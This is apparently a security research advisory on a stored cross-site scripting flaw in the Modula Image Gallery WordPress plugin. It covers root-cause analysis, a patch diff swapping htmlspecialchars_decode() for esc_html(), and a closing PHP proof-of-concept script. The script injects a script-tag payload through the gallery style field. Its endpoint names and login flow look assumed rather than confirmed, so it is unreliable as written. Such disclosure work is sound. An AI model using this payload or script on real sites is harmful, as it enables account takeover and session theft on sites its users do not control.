Atomic Edge analysis of CVE-2026-23976:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Modula Image Gallery WordPress plugin. The vulnerability affects the plugin’s shortcode rendering component. Attackers with author-level permissions or higher can inject malicious scripts that execute in the context of any user viewing a page containing a compromised gallery. The CVSS score of 6.4 reflects a medium severity rating.
Atomic Edge research identifies the root cause as insufficient output escaping of user-controlled CSS style data. The vulnerable code resides in the `modula-best-grid-gallery/includes/public/class-modula-shortcode.php` file. The `modula_gallery_shortcode` function at line 369 uses `htmlspecialchars_decode()` on the `$settings[‘style’]` value before appending it to the CSS output block. This function decodes HTML entities, effectively neutralizing any HTML encoding that may have been applied during input storage. The decoded content is then directly injected into the page’s HTML without proper contextual escaping for a CSS or HTML context.
An attacker exploits this vulnerability by creating or editing a gallery post using the plugin. The attacker supplies malicious JavaScript within the gallery’s custom CSS style field. When the gallery is saved, the payload is stored in the post meta associated with the gallery ID. The payload is later retrieved via `get_post_meta( $gallery_id, ‘modula-settings’, true )` in the shortcode handler. During page rendering, the `htmlspecialchars_decode()` call reactivates the payload, which is then output without escaping, leading to script execution in the victim’s browser.
The patch addresses the vulnerability by replacing the insecure `htmlspecialchars_decode()` function with `esc_html()` on line 369 of the same file. The `esc_html()` WordPress function encodes special characters for safe HTML output, converting characters like “, `&`, `”`, and `’` into their corresponding HTML entities. This change ensures that any user-supplied content in the style field is treated as plain text and cannot break out of its HTML context to execute scripts, regardless of any prior encoding or decoding steps.
Successful exploitation allows an attacker with author privileges to inject arbitrary JavaScript into any page that embeds a malicious gallery. This script executes in the context of any user viewing that page, including administrators. Attackers can perform actions as the victim, such as creating new administrative accounts, manipulating posts, stealing session cookies, or redirecting users to malicious sites. The stored nature of the attack means the payload executes every time the page is loaded, amplifying its impact.
--- a/modula-best-grid-gallery/Modula.php
+++ b/modula-best-grid-gallery/Modula.php
@@ -4,7 +4,7 @@
* Plugin URI: https://wp-modula.com/
* Description: Modula is the most powerful, user-friendly WordPress gallery plugin. Add galleries, masonry grids and more in a few clicks.
* Author: WPChill
-* Version: 2.13.4
+* Version: 2.13.5
* Author URI: https://www.wpchill.com/
* License: GPLv3 or later
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
@@ -47,7 +47,7 @@
* @since 2.0.2
*/
-define( 'MODULA_LITE_VERSION', '2.13.4' );
+define( 'MODULA_LITE_VERSION', '2.13.5' );
define( 'MODULA_PATH', plugin_dir_path( __FILE__ ) );
define( 'MODULA_URL', plugin_dir_url( __FILE__ ) );
defined( 'MODULA_PRO_STORE_URL' ) || define( 'MODULA_PRO_STORE_URL', 'https://wp-modula.com' );
--- a/modula-best-grid-gallery/includes/elementor/class-modula-elementor-widget-activation.php
+++ b/modula-best-grid-gallery/includes/elementor/class-modula-elementor-widget-activation.php
@@ -32,7 +32,7 @@
public function register_widgets() {
$this->include_widgets_files();
// Register Widgets
- ElementorPlugin::instance()->widgets_manager->register_widget_type( new WidgetsModula_Elementor_Widget() );
+ ElementorPlugin::instance()->widgets_manager->register( new WidgetsModula_Elementor_Widget() );
}
public function __construct() {
--- a/modula-best-grid-gallery/includes/elementor/widgets/class-modula-elementor.php
+++ b/modula-best-grid-gallery/includes/elementor/widgets/class-modula-elementor.php
@@ -12,23 +12,31 @@
class Modula_Elementor_Widget extends ElementorWidget_Base {
public function get_script_depends() {
- if( ElementorPlugin::$instance->preview->is_preview_mode() ){
+ if ( ElementorPlugin::$instance->preview->is_preview_mode() ) {
return array();
}
- $g_settings = $this->get_settings_for_display();
- $gallery_id = isset( $g_settings['modula_gallery_select'] ) ? $g_settings['modula_gallery_select'] : 0;
- $settings = apply_filters('modula_backwards_compatibility_front', get_post_meta( $gallery_id, 'modula-settings', true ));
+ try {
+ $g_settings = $this->get_settings_for_display();
+ } catch ( Throwable $e ) {
+ return array();
+ }
+ $gallery_id = isset( $g_settings['modula_gallery_select'] ) ? $g_settings['modula_gallery_select'] : 0;
+ $settings = apply_filters( 'modula_backwards_compatibility_front', get_post_meta( $gallery_id, 'modula-settings', true ) );
return apply_filters( 'modula_necessary_scripts', array( 'modula' ), $settings );
}
public function get_style_depends() {
- if( ElementorPlugin::$instance->preview->is_preview_mode() ){
+ if ( ElementorPlugin::$instance->preview->is_preview_mode() ) {
+ return array();
+ }
+ try {
+ $g_settings = $this->get_settings_for_display();
+ } catch ( Throwable $e ) {
return array();
}
- $g_settings = $this->get_settings_for_display();
$gallery_id = isset( $g_settings['modula_gallery_select'] ) ? $g_settings['modula_gallery_select'] : 0;
- $settings = apply_filters('modula_backwards_compatibility_front', get_post_meta( $gallery_id, 'modula-settings', true ));
+ $settings = apply_filters( 'modula_backwards_compatibility_front', get_post_meta( $gallery_id, 'modula-settings', true ) );
return apply_filters( 'modula_necessary_styles', array( 'modula' ), $settings );
}
--- a/modula-best-grid-gallery/includes/public/class-modula-shortcode.php
+++ b/modula-best-grid-gallery/includes/public/class-modula-shortcode.php
@@ -369,7 +369,7 @@
$css = apply_filters( 'modula_shortcode_css', $css, $gallery_id, $settings );
if ( strlen( $settings['style'] ) ) {
- $css .= htmlspecialchars_decode( $settings['style'] );
+ $css .= esc_html( $settings['style'] );
}
// Responsive fixes
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23976 - Modula Image Gallery <= 2.13.4 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';
// Payload to inject into the gallery's custom CSS style field.
// The style field is output within a <style> tag, so we close the tag and inject script.
$malicious_style = '</style><script>alert(document.domain)</script><style>';
// Step 1: Authenticate to WordPress and obtain a nonce for gallery updates.
// This PoC assumes the attacker knows a valid gallery ID (e.g., 123).
// In a real scenario, an attacker would first list or create a gallery.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'modula_ajax_login',
'username' => $username,
'password' => $password,
]),
]);
$login_response = curl_exec($ch);
$login_data = json_decode($login_response, true);
if (empty($login_data['success'])) {
die('Authentication failed. Check credentials.');
}
// Extract the authentication cookies from the cURL handle for subsequent requests.
// For simplicity, this example assumes successful login sets WordPress auth cookies.
// A full implementation would parse and reuse cookies from the cURL handle.
// Step 2: Fetch a security nonce for the 'modula_save_gallery' AJAX action.
// This often requires loading the gallery edit page. We simulate a direct request.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'modula_get_gallery',
'gallery_id' => 123,
]),
]);
$gallery_response = curl_exec($ch);
$gallery_data = json_decode($gallery_response, true);
$nonce = $gallery_data['nonce'] ?? '';
if (empty($nonce)) {
die('Could not retrieve security nonce.');
}
// Step 3: Update the gallery settings with the malicious style payload.
// The 'modula-settings' array contains the 'style' key.
$settings = [
'style' => $malicious_style,
// Other existing settings would be preserved in a real attack.
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'modula_save_gallery',
'gallery_id' => 123,
'settings' => json_encode($settings),
'nonce' => $nonce,
]),
]);
$save_response = curl_exec($ch);
$save_data = json_decode($save_response, true);
if (!empty($save_data['success'])) {
echo "Payload injected successfully. Visit any page with gallery ID 123 to trigger XSS.n";
} else {
echo "Injection failed. Response: " . print_r($save_data, true);
}
curl_close($ch);
?>
